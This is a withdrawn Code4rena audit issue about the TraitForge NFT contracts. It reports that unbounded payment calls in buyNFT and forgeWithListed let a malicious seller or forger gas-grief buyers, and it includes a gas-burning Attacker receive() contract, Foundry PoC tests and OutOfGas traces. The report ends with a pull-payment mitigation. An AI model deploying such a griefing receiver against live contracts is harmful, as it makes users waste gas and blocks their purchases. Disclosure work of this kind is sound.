code-423n4 / 2024-07-traitforge-validation

1 stars 0 forks source link

Malicious sellers and forgers can gas grief buyers and mergers #519

Closed c4-bot-3 closed 2 months ago

c4-bot-3 commented 2 months ago

Lines of code

https://github.com/code-423n4/2024-07-traitforge/blob/279b2887e3d38bc219a05d332cbcb0655b2dc644/contracts/EntityForging/EntityForging.sol#L158 https://github.com/code-423n4/2024-07-traitforge/blob/279b2887e3d38bc219a05d332cbcb0655b2dc644/contracts/EntityTrading/EntityTrading.sol#L77

Vulnerability details

Impact

Both the EntityTrading::buyNFT(...) and EntityForging::forgeWithListed(...) functions send the native token to either the seller or forger using a low-level call approach:

function buyNFT(uint256 tokenId) external payable whenNotPaused nonReentrant {
    __SNIP__
    // transfer NFT from contract to buyer
@>    (bool success, ) = payable(listing.seller).call{ value: sellerProceeds }(
      ''
    );
__SNIP__
  }
function forgeWithListed(
    uint256 forgerTokenId,
    uint256 mergerTokenId
  ) external payable whenNotPaused nonReentrant returns (uint256) {
__SNIP__
@>    (bool success_forge, ) = forgerOwner.call{ value: forgerShare }('');
    require(success_forge, 'Failed to send to Forge Owner');
__SNIP__
  }

This approach allows for a malicious seller or forger to launch a gas griefing attack on a buyer or merger.

Proof of Concept

A malicious user can set up a receive function that could either return an enormous payload or just eat up all of the provided gas (the call function does not set a limit on the gas). Now (bool success, ) is actually the same as writing (bool success, bytes memory data) which basically means that even though the data is omitted it doesn’t mean that the contract does not handle it. Actually, the way it works is the bytes data that was returned from the receiver will be copied to memory. Memory allocation becomes very costly if the payload is big, so this means that if a receiver implements a fallback function that returns a huge payload, then the msg.sender of the transaction, in our case either the buyer or the merger, will have to pay a huge amount of gas. In the worst-case scenario, this could lead to a Denial of Service (DoS) of the protocol, where the buyer or merger will still have to pay the gas fees.

For the following tests I have used Foundry following HardHat's foundry integration guide. The following tests can be run with forge test --mt testGasBombUserBuy and forge test --mt testGasBombUserForge.

NB: All of the below tests use the same set-up shown in the Set up details tab. For the next coded PoC, I have properly set the owner of the Airdrop and EntityGenerator to be the NFT contract, to remove any owner issues, as described in one of my issues. I have created an Attacker.sol contract where I set up the malicious user with the gas-consuming receive() function. I will show a couple of PoCs where I show how the gas price can increase up to reaching an OutOfGas error (I will change the if statement to require a higher value).

Set up ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.25; import {Test} from "forge-std/Test.sol"; import {EntityTrading} from "../../contracts/EntityTrading/EntityTrading.sol"; import {TraitForgeNft} from "../../contracts/TraitForgeNft/TraitForgeNft.sol"; import {EntityForging} from "../../contracts/EntityForging/EntityForging.sol"; import {EntropyGenerator} from "../../contracts/EntropyGenerator/EntropyGenerator.sol"; import {NukeFund} from "../../contracts/NukeFund/NukeFund.sol"; import {Airdrop} from "../../contracts/Airdrop/Airdrop.sol"; import {Trait} from "../../contracts/Trait/Trait.sol"; import {console} from "forge-std/console.sol"; import {Attack} from "./Attacker.sol"; contract AuditTests is Test { EntityTrading public entityTrading; TraitForgeNft public nftContract; EntityForging public entityForging; EntropyGenerator public entropyGenerator; Airdrop public airdrop; Trait public trait; NukeFund public nukeFund; Attack maliciousReceiver; bytes32[] proof; uint256[] entropyArr; address naruto = makeAddr("naruto"); address sasuke = makeAddr("sasuke"); address dev1 = makeAddr("dev1"); address dev2 = makeAddr("dev2"); function setUp() public { nftContract = new TraitForgeNft(); entityForging = new EntityForging(address(nftContract)); entityTrading = new EntityTrading(address(nftContract)); maliciousReceiver = new Attack(); trait = new Trait("Trait", "TRT", 18, 1000000 ether); trait.transfer(msg.sender, 1000000 ether); airdrop = new Airdrop(address(nftContract)); vm.prank(address(nftContract)); airdrop.setTraitToken(address(trait)); entropyGenerator = new EntropyGenerator(address(nftContract)); vm.startPrank(address(nftContract)); entropyGenerator.writeEntropyBatch1(); entropyGenerator.writeEntropyBatch2(); entropyGenerator.writeEntropyBatch3(); vm.stopPrank(); nukeFund = new NukeFund(address(nftContract), address(airdrop), payable(dev1), payable(dev2)); entityTrading.setNukeFundAddress(payable(address(nukeFund))); nftContract.setEntityForgingContract(address(entityForging)); nftContract.setEntropyGenerator(address(entropyGenerator)); nftContract.setAirdropContract(address(airdrop)); vm.deal(naruto, type(uint256).max); vm.deal(sasuke, 10000000 ether); vm.deal(address(maliciousReceiver), type(uint256).max); // Warp for 3 days to remove whitelist check vm.warp(3 days); } } ```
Attacker ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.20; contract Attack { receive() external payable { uint256 x; while (true) { x += 1; if (x == 1000) { // This is changed in the PoC to prove progressive impact break; } } } } ```
PoC for gas grief BuyNFT() with 1000 cycles ```solidity function testGasBombUserBuy() public { vm.startPrank(address(maliciousReceiver)); nftContract.mintToken{value: nftContract.calculateMintPrice()}(proof); nftContract.approve(address(entityTrading), 1); entityTrading.listNFTForSale(1, 0.001 ether); vm.stopPrank(); vm.prank(naruto); entityTrading.buyNFT{value: 0.001 ether}(1); } ``` ```bash Ran 1 test for test/unit/AuditTests.t.sol:AuditTests [PASS] testGasBombUser() (gas: 777594) Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 18.03ms (3.05ms CPU time) ```
PoC for gas grief BuyNFT() with 10000 cycles ```bash Ran 1 test for test/unit/AuditTests.t.sol:AuditTests [PASS] testGasBombUser() (gas: 1704594) Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 12.72ms (3.55ms CPU ti ``` PoC for gas grief BuyNFT() with removed `if` and only `while(true)` ```bash │ ├─ [gas:1039643690] Attack::receive{value: 900000000000000}() │ │ └─ ← [OutOfGas] EvmError: OutOfGas │ └─ ← [Revert] revert: Failed to send to seller └─ ← [Stop] Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.87s (2.86s CPU time) ```

As you can see from the above PoC, the malicious seller, can force the buyer to pay a huge amount of gas, and in the worst case DoS him from actually getting the NFT (but still paying the gas).

The case for the forge gas grief is the same:

PoC for forging Out Of Gas case ```solidity function testGasBombUserForge() public { vm.startPrank(address(maliciousReceiver)); nftContract.mintToken{value: nftContract.calculateMintPrice()}(proof); nftContract.mintToken{value: nftContract.calculateMintPrice()}(proof); nftContract.mintToken{value: nftContract.calculateMintPrice()}(proof); vm.stopPrank(); vm.startPrank(sasuke); nftContract.mintToken{value: nftContract.calculateMintPrice()}(proof); vm.stopPrank(); vm.startPrank(address(maliciousReceiver)); nftContract.mintToken{value: nftContract.calculateMintPrice()}(proof); vm.stopPrank(); // Forger with forging potential assertTrue(nftContract.isForger(5)); // Merger with no forging potential assertFalse(nftContract.isForger(4)); vm.startPrank(address(maliciousReceiver)); entityForging.listForForging(5, 0.01 ether); vm.stopPrank(); vm.startPrank(sasuke); vm.expectRevert("Failed to send to Forge Owner"); entityForging.forgeWithListed{value: 0.01 ether}(5, 4); vm.stopPrank(); } ``` ```bash │ ├─ [gas: 1038368056] Attack::receive{value: 9000000000000000}() │ │ └─ ← [OutOfGas] EvmError: OutOfGas │ └─ ← [Revert] revert: Failed to send to Forge Owner ├─ [0] VM::stopPrank() │ └─ ← [Return] └─ ← [Stop] Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.33s (2.32s CPU time) Ran 1 test suite in 2.94s (2.33s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) ```

Tools Used

Manual review

Recommended Mitigation Steps

Either use a low-level assembly call, or create a pull mechanism, where instead of sending ETH to the seller and forger, let them claim it.

Assessed type

DoS

c4-bot-9 commented 2 months ago

Withdrawn by 0xb0k0